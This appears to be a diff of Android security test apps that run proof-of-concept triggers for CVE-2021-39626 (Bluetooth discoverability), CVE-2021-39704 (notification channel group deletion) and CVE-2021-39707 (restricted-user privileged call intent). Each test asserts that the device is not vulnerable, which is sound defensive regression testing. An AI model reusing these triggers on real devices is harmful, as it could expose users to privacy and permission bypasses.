index 00000000000..e6f53e7ccc7
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/res/values/strings.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="allowButtonResName">android:id/button1</string>
+ <string name="btAction">btAction</string>
+ <string name="className">.Settings$ConnectedDeviceDashboardActivity</string>
+ <string name="defaultSemaphoreMsg">Could not get message key in shared preferences</string>
+ <string name="defaultSettingsPkg">com.android.settings</string>
+ <string name="failMessage">Vulnerable to b/194695497 !!</string>
+ <string name="messageKey">message</string>
+ <string name="resultKey">result</string>
+ <string name="sharedPreferences">CVE_2021_39626_prefs</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java
index cd245400fc9..6bb8d166080 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java
@@ -18,14 +18,15 @@ package android.security.cts.CVE_2021_39626;
import static org.junit.Assert.assertFalse;
import static org.junit.Assume.assumeNoException;
-import static org.junit.Assume.assumeNotNull;
import static org.junit.Assume.assumeTrue;
import android.bluetooth.BluetoothAdapter;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
-import android.content.pm.PackageManager;
+import android.content.SharedPreferences;
+import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+import android.content.res.Resources;
import android.provider.Settings;
import androidx.test.InstrumentationRegistry;
@@ -34,69 +35,121 @@ import androidx.test.uiautomator.By;
import androidx.test.uiautomator.UiDevice;
import androidx.test.uiautomator.Until;
+import org.junit.After;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+
@RunWith(AndroidJUnit4.class)
public class DeviceTest {
- private static final int TIMEOUT = 5000;
- private static Context context;
+ static final int TIMEOUT = 10000;
+ boolean mBtState = false;
+ BluetoothAdapter mBtAdapter;
+ Context mContext;
+ OnSharedPreferenceChangeListener mListener;
+ Resources mResources;
+ SharedPreferences mSharedPrefs;
+ Semaphore mPreferenceChanged;
+ UiDevice mDevice;
- private static String getSettingsPkgName() {
+ private String getSettingsPkgName() {
Intent settingsIntent = new Intent(Settings.ACTION_SETTINGS);
ComponentName settingsComponent =
- settingsIntent.resolveActivity(context.getPackageManager());
+ settingsIntent.resolveActivity(mContext.getPackageManager());
String pkgName = settingsComponent != null ? settingsComponent.getPackageName()
- : "com.android.settings";
- assumeNotNull(pkgName);
+ : mContext.getString(R.string.defaultSettingsPkg);
return pkgName;
}
- private void openApplication(String applicationName) {
- Intent intent = context.getPackageManager().getLaunchIntentForPackage(applicationName);
- assumeNotNull(intent);
- intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ @After
+ public void tearDown() {
try {
- context.startActivity(intent);
+ // Disable bluetooth if it was OFF before the test
+ if (!mBtState) {
+ Intent intent = new Intent(mContext, PocActivity.class);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.putExtra(mContext.getString(R.string.btAction),
+ BluetoothAdapter.ACTION_REQUEST_DISABLE);
+ mContext.startActivity(intent);
+ }
+ mPreferenceChanged = new Semaphore(0);
+ mPreferenceChanged.tryAcquire(TIMEOUT, TimeUnit.MILLISECONDS);
+ int result = mSharedPrefs.getInt(mResources.getString(R.string.resultKey),
+ mResources.getInteger(R.integer.assumptionFailure));
+ String message = mSharedPrefs.getString(mResources.getString(R.string.messageKey),
+ mResources.getString(R.string.defaultSemaphoreMsg));
+
+ // Go to home screen
+ mDevice.pressHome();
} catch (Exception e) {
- assumeNoException(e);
+ // ignore the exception
}
}
@Test
public void testBtDiscoverable() {
- // Initialize UiDevice instance
- UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
- context = InstrumentationRegistry.getInstrumentation().getContext();
- BluetoothAdapter btAdapter = BluetoothAdapter.getDefaultAdapter();
- assumeNotNull(btAdapter);
-
- // Save the state of bluetooth adapter to reset after the test
- boolean btState = btAdapter.isEnabled();
- if (!btState) {
- // If bluetooth is disabled, enable it and wait for adapter startup to complete
- assumeTrue(btAdapter.enable());
- try {
- Thread.sleep(TIMEOUT);
- } catch (Exception e) {
- assumeNoException(e);
- }
- }
- assumeTrue(btAdapter.isEnabled());
+ try {
+ // Initialize UiDevice instance
+ mDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ mContext = InstrumentationRegistry.getInstrumentation().getContext();
+ mBtAdapter = BluetoothAdapter.getDefaultAdapter();
- // Launch the PoC application and ensure that it launches bluetooth settings
- openApplication(context.getPackageName());
- assumeTrue(device.wait(Until.hasObject(By.pkg(getSettingsPkgName())), TIMEOUT));
+ // Save the state of bluetooth adapter to reset after the test
+ mBtState = mBtAdapter.isEnabled();
- boolean isBtDiscoverable =
- (btAdapter.getScanMode() == btAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE);
+ // If bluetooth is disabled, enable it and wait for start activity to complete
+ Intent intent = new Intent(mContext, PocActivity.class);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.putExtra(mContext.getString(R.string.btAction),
+ BluetoothAdapter.ACTION_REQUEST_ENABLE);
+ mContext.startActivity(intent);
+ mResources = mContext.getResources();
- // Disable bluetooth if it was OFF before the test
- if (!btState) {
- btAdapter.disable();
- }
+ mSharedPrefs = mContext.getSharedPreferences(
+ mResources.getString(R.string.sharedPreferences), Context.MODE_APPEND);
+ mPreferenceChanged = new Semaphore(0);
+ mListener = new OnSharedPreferenceChangeListener() {
+ @Override
+ public void onSharedPreferenceChanged(SharedPreferences sharedPreferences,
+ String key) {
+ if (key.equals(mResources.getString(R.string.resultKey))) {
+ mPreferenceChanged.release();
+ }
+ }
+ };
+ mSharedPrefs.registerOnSharedPreferenceChangeListener(mListener);
+ mPreferenceChanged.tryAcquire(TIMEOUT, TimeUnit.MILLISECONDS);
- // The test fails if bluetooth is made discoverable through PoC
- assertFalse("Vulnerable to b/194695497 !!", isBtDiscoverable);
+ int result = mSharedPrefs.getInt(mResources.getString(R.string.resultKey),
+ mResources.getInteger(R.integer.assumptionFailure));
+ String message = mSharedPrefs.getString(mResources.getString(R.string.messageKey),
+ mResources.getString(R.string.defaultSemaphoreMsg));
+ assumeTrue(message, result != mResources.getInteger(R.integer.assumptionFailure));
+
+ // Checking if bluetooth is enabled. The test requires bluetooth to be enabled,
+ // assumption failing the test if it's not enabled
+ assumeTrue(mBtAdapter.isEnabled());
+
+ // Launch bluetooth settings which is supposed to set scan mode to
+ // SCAN_MODE_CONNECTABLE_DISCOVERABLE if vulnerability is active
+ intent = new Intent();
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ String settingsPkg = getSettingsPkgName();
+ intent.setClassName(settingsPkg, settingsPkg + mContext.getString(R.string.className));
+ mContext.startActivity(intent);
+
+ assumeTrue(mDevice.wait(Until.hasObject(By.pkg(settingsPkg)), TIMEOUT));
+
+ boolean isBtDiscoverable = false;
+ isBtDiscoverable =
+ (mBtAdapter.getScanMode() == mBtAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE);
+
+ // The test fails if bluetooth is made discoverable through PoC
+ assertFalse(mContext.getString(R.string.failMessage), isBtDiscoverable);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java
index d4425ff0eb3..9a43cd19f31 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java
@@ -16,24 +16,88 @@
package android.security.cts.CVE_2021_39626;
-import static org.junit.Assume.assumeNoException;
-
import android.app.Activity;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothManager;
+import android.content.Context;
import android.content.Intent;
+import android.content.SharedPreferences;
import android.os.Bundle;
-import android.provider.Settings;
+
+import androidx.annotation.IntegerRes;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
public class PocActivity extends Activity {
+ private static final int TIMEOUT = 5000;
+ private static final int REQUEST_ENABLE_BT = 1;
+ private static final int REQUEST_DISABLE_BT = 2;
+
+ int getInteger(@IntegerRes int resId) {
+ return getResources().getInteger(resId);
+ }
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
- Intent intent = new Intent();
- intent.setAction(Settings.ACTION_BLUETOOTH_SETTINGS);
try {
- startActivity(intent);
+ String action = getIntent().getStringExtra(getString(R.string.btAction));
+ UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ BluetoothManager bluetoothManager = getSystemService(BluetoothManager.class);
+ BluetoothAdapter bluetoothAdapter = bluetoothManager.getAdapter();
+ int code = REQUEST_ENABLE_BT;
+ if (action.equals(BluetoothAdapter.ACTION_REQUEST_DISABLE)) {
+ code = REQUEST_DISABLE_BT;
+ }
+
+ if ((action.equals(BluetoothAdapter.ACTION_REQUEST_ENABLE)
+ && !bluetoothAdapter.isEnabled())
+ || (action.equals(BluetoothAdapter.ACTION_REQUEST_DISABLE)
+ && bluetoothAdapter.isEnabled())) {
+ Intent enableBtIntent = new Intent(action);
+ startActivityForResult(enableBtIntent, code);
+
+ // Wait for the activity to appear and the allow button
+ device.wait(Until.hasObject(By.res(getString(R.string.allowButtonResName))),
+ TIMEOUT);
+
+ // Click on the allow button
+ UiObject2 object =
+ device.findObject(By.res(getString(R.string.allowButtonResName)));
+ object.click();
+ } else {
+ sendTestResult(getInteger(R.integer.pass), "");
+ finish();
+ return;
+ }
} catch (Exception e) {
- assumeNoException(e);
+ sendTestResult(getInteger(R.integer.assumptionFailure), e.getMessage());
+ return;
+ }
+ }
+
+ @Override
+ protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+ if (requestCode == REQUEST_ENABLE_BT && resultCode == Activity.RESULT_OK) {
+ finish();
+ sendTestResult(getInteger(R.integer.enabled), "");
+ } else if (requestCode == REQUEST_DISABLE_BT && resultCode == Activity.RESULT_OK) {
+ finish();
+ sendTestResult(getInteger(R.integer.disabled), "");
+ }
+ }
+
+ private void sendTestResult(int result, String message) {
+ SharedPreferences sh =
+ getSharedPreferences(getString(R.string.sharedPreferences), Context.MODE_PRIVATE);
+ if (sh != null) {
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey), result);
+ edit.putString(getString(R.string.messageKey), message);
+ edit.commit();
}
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/Android.bp
new file mode 100644
index 00000000000..044a5f5a161
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2021-39704",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/AndroidManifest.xml
new file mode 100644
index 00000000000..70b7a736be5
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/AndroidManifest.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_39704">
+ <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
+ <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
+ <application
+ android:supportsRtl="true">
+ <service
+ android:name=".PocService"
+ android:exported="true">
+ </service>
+ <activity
+ android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39704" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/integers.xml
new file mode 100644
index 00000000000..ec924a9a275
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/integers.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<resources>
+ <integer name="pass">2</integer>
+ <integer name="timeoutMs">5000</integer>
+ <integer name="assumptionFailure">3</integer>
+ <integer name="fail">1</integer>
+ <integer name="width">50</integer>
+ <integer name="height">50</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/strings.xml
new file mode 100644
index 00000000000..ab82c01b528
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/res/values/strings.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<resources>
+ <string name="channel">channel</string>
+ <string name="failMessage">Failed to open </string>
+ <string name="group">group</string>
+ <string name="groupId">groupId</string>
+ <string name="messageKey">messageKey</string>
+ <string name="passMessage">Passed</string>
+ <string name="resultKey">resultKey</string>
+ <string name="sharedPreference">sharedPreference</string>
+ <string name="vulnerableMessage">Vulnerable to b/209965481</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/DeviceTest.java
new file mode 100644
index 00000000000..633622957d0
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/DeviceTest.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39704;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+import android.content.pm.PackageManager;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.Semaphore;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Test
+ public void testdeleteNotificationChannelGroup() {
+ try {
+ Context context = getApplicationContext();
+ PackageManager packageManager = context.getPackageManager();
+ Intent intent = packageManager
+ .getLaunchIntentForPackage(context.getPackageName());
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+
+ context.startActivity(intent);
+ SharedPreferences sh = context.getSharedPreferences(
+ context.getString(R.string.sharedPreference),
+ Context.MODE_APPEND);
+ final Semaphore preferenceChanged = new Semaphore(0);
+ OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() {
+ @Override
+ public void onSharedPreferenceChanged(
+ SharedPreferences sharedPreferences, String key) {
+ if (key.equals(context.getString(R.string.resultKey))) {
+ if (sharedPreferences.getInt(key, 0) == context
+ .getResources().getInteger(R.integer.pass)) {
+ preferenceChanged.release();
+ }
+ }
+ }
+ };
+ sh.registerOnSharedPreferenceChangeListener(listener);
+ preferenceChanged.tryAcquire(
+ context.getResources().getInteger(R.integer.timeoutMs),
+ TimeUnit.MILLISECONDS);
+
+ int result = sh.getInt(context.getString(R.string.resultKey),
+ context.getResources().getInteger(R.integer.pass));
+ String message = sh.getString(
+ context.getString(R.string.messageKey),
+ context.getString(R.string.passMessage));
+ assumeTrue(message, result != context.getResources()
+ .getInteger(R.integer.assumptionFailure));
+ assertNotEquals(message, result,
+ context.getResources().getInteger(R.integer.fail));
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocActivity.java
new file mode 100644
index 00000000000..60ce757808f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocActivity.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39704;
+
+import android.app.Activity;
+import android.Manifest;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.SharedPreferences;
+import android.os.Bundle;
+
+//PocActitvity is required because requestPermissions needs to implemented to request location permission.
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ try {
+ super.onCreate(savedInstanceState);
+ if (this.checkCallingOrSelfPermission(
+ Manifest.permission.ACCESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED) {
+ startForegroundService(new Intent(this, PocService.class));
+ this.requestPermissions(
+ new String[] {
+ Manifest.permission.ACCESS_COARSE_LOCATION },0);
+ }
+ } catch (Exception e) {
+ setExceptionStatus(e.toString(),
+ getResources().getInteger(R.integer.assumptionFailure));
+ }
+ }
+
+ private void setExceptionStatus(String message, int status) {
+ try {
+ SharedPreferences sh = getSharedPreferences(
+ getString(R.string.sharedPreference), Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey), status);
+ edit.putString(getString(R.string.messageKey), message);
+ edit.commit();
+ } catch (Exception e) {
+ // ignore exception
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocService.java
new file mode 100644
index 00000000000..23303c3c23c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39704/src/android/security/cts/CVE_2021_39704/PocService.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39704;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationChannelGroup;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.content.SharedPreferences;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.drawable.Icon;
+import android.os.IBinder;
+
+//PocService is needed to build the notification when the service starts.
+public class PocService extends Service {
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public void onCreate() {
+ try {
+ exploitBug();
+ super.onCreate();
+ } catch (Exception e) {
+ setResult(getResources().getInteger(R.integer.assumptionFailure),
+ e.getMessage());
+ }
+ }
+
+ void exploitBug() {
+ try {
+ final NotificationManager notificationManager = getSystemService(
+ NotificationManager.class);
+ final String id = getString(R.string.channel);
+ final String groupId = getString(R.string.groupId);
+ notificationManager.createNotificationChannelGroup(
+ new NotificationChannelGroup(groupId,
+ getString(R.string.group)));
+ NotificationChannel notificationChannel = new NotificationChannel(
+ id, id, NotificationManager.IMPORTANCE_HIGH);
+ notificationChannel.setGroup(groupId);
+ notificationManager.createNotificationChannel(notificationChannel);
+ Notification notification = new Notification.Builder(this, id)
+ .setSmallIcon(createNotificationIcon()).build();
+ startForeground(1, notification);
+ setResult(getResources().getInteger(R.integer.fail),
+ getString(R.string.vulnerableMessage));
+ notificationManager.deleteNotificationChannelGroup(groupId);
+ setResult(getResources().getInteger(R.integer.fail),
+ getString(R.string.vulnerableMessage));
+ } catch (SecurityException e) {
+ setResult(getResources().getInteger(R.integer.pass),
+ getString(R.string.passMessage));
+ }
+ }
+
+ private void setResult(int result, String message) {
+ try {
+ SharedPreferences sh = getSharedPreferences(
+ getString(R.string.sharedPreference), Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey), result);
+ edit.putString(getString(R.string.messageKey), message);
+ edit.commit();
+ } catch (Exception e) {
+ // ignore exception
+ }
+ }
+
+ Icon createNotificationIcon() {
+ Resources resources = getResources();
+ Bitmap testBitmap = Bitmap.createBitmap(
+ resources.getInteger(R.integer.width),
+ resources.getInteger(R.integer.height),
+ Bitmap.Config.ARGB_8888);
+ final Canvas canvas = new Canvas(testBitmap);
+ canvas.drawColor(Color.BLUE);
+ return Icon.createWithBitmap(testBitmap);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/Android.bp
new file mode 100644
index 00000000000..517619afdab
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2021-39707",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ ],
+ platform_apis: true,
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/AndroidManifest.xml
new file mode 100644
index 00000000000..bfb3943ba87
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/AndroidManifest.xml
@@ -0,0 +1,38 @@
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ package="android.security.cts.CVE_2021_39707">
+ <application android:label="@string/testAppLabel">
+ <receiver android:name=".PocReceiver"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.GET_RESTRICTION_ENTRIES" />
+ </intent-filter>
+ </receiver>
+ <activity android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.CALL_PRIVILEGED" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <data android:scheme="tel" />
+ </intent-filter>
+ </activity>
+ </application>
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39707" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/res/values/strings.xml
new file mode 100644
index 00000000000..902f48ce1ea
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39707/res/values/strings.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+ <string name="defaultSettingsPkgName">com.android.settings</string>
+ <string name="resTestAppIcon">%1$s:id/app_restrictions_settings</string>
+ <string name="testAppLabel">CVE-2021-39707</string>
+ <string name="testFailMsg">Device is vulnerable to b/200688991!!</string>
+ <string name="textAppContentAccess">App &amp; content access</string>
+ <string name="textRestrictedUser">CVE_2021_39707_RestrictedUser</string>
+ <string name="timedOutMsg">Timed out waiting for text/res \'%1$s\' on display</string>
+ <string name="uriData">tel:555-TEST</string>
+</resources>
